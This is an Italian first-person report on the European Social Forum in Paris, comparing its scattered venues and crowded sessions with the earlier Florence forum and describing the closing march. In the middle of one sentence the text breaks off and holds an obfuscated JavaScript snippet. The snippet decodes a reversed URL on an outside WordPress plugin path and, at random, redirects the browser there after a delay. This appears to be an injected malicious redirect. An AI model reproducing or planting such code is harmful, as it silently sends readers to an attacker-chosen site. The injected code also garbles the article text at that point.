Allonsanfan: il Forum a Parigi

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di Pietro Betti

Parigi è città ben diversa da Firenze. Quale carattere imprimerà al Social Forum questa città? Ti accorgi subito che i luoghi del Forum sono disseminati ai quattro lati della città, a St. Denis, a Ivry, a Bobigny, alla Villette. Tre quarti d’ora buona di métro li separano. È facile riconoscere i partecipanti al Forum, soprattutto se giovani, e se italiani o spagnoli. Scopri anche dei vecchi francesi, magari della provincia, sono gentili e motivati. Tutti hanno una carta della métro e cercano di raggiungere i luoghi delle conferenze. La vita intorno scorre normalmente. Non c’è l’impatto fisico che c’è stato a Firenze, non c’è l’invasione pacifica che noi ricordiamo. Parigi ospita molte iniziative ed il Forum poteva passare come un evento tra gli eventi. L’importanza di un fatto di solito si giudica anche dalla risonanza che esso ha, dalla sua capacità di cambiare il volto di una città. Non si può dire che Parigi sia stata scossa dal Forum. Non ci si può aspettare che i giornali ne parlino troppo. Tutta la responsabilità della forza dell’evento risiede in noi, in quello che riusciremo a trasmettere una volta fuori. Le conferenze ed i seminari sono sempre stracolmi, spesso non si riesce ad entrare. Mi ero programmato l’incontro sulla crescente concentrazione dei media, arrivo leggermente in ritardo e già non si può entrare. L’altra conferenza che mi interessa è dall’altra parte della città, non ce la farei ad arrivare in tempo. Salgo alla sala Boris Vian. Nel dibattito emerge come in Europa sia in atto una vera e propria offensiva contro i diritti sociali, come il ruolo degli stati si riduca spesso alla vigilanza degli interessi privati, nel dispregio dell’interesse pubblico. La sala è silenziosa e immensa. La vicina vuole darmi il suo auricolare, mi presta carta e penna; c’è calore in questi piccoli atti, la consapevolezza di essere portatori di un’altra idea di Europa. Ricorderai con nostalgia i piatti consumati nello st (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and della Confederation Paysanne, il concerto serale di musica balcanica, anche se ti accorgi che non è lo stesso che a Firenze. Alla Fortezza era facile spostarsi da una sala all’altra, per raggiungere un amico, per simpatia verso un oratore, per variare, per respirare un’aria diversa; il luogo raccolto predisponeva al confronto, lo rendeva inevitabile, la forza del Social Forum ne risultava amplificata… Qui a Parigi la marcia conclusiva procede veloce. Capannelli di gente si formano dove le bande musicali suonano. Una parata enorme di andini con grancasse e trombe, poi le note di Bella Ciao da un furgoncino. Il gruppo statuario nero a Place de la Nation si ricopre di bandiere, di striscioni e di gente. Nelle strade che facciamo, un tempo, c’erano le barricate… ora sono grandi Avenues, ma questo pensiero fa venire i brividi lo stesso. Al crepuscolo la gente si disperde, ma nei volti, nei discorsi, c’è già il prossimo Social Forum.

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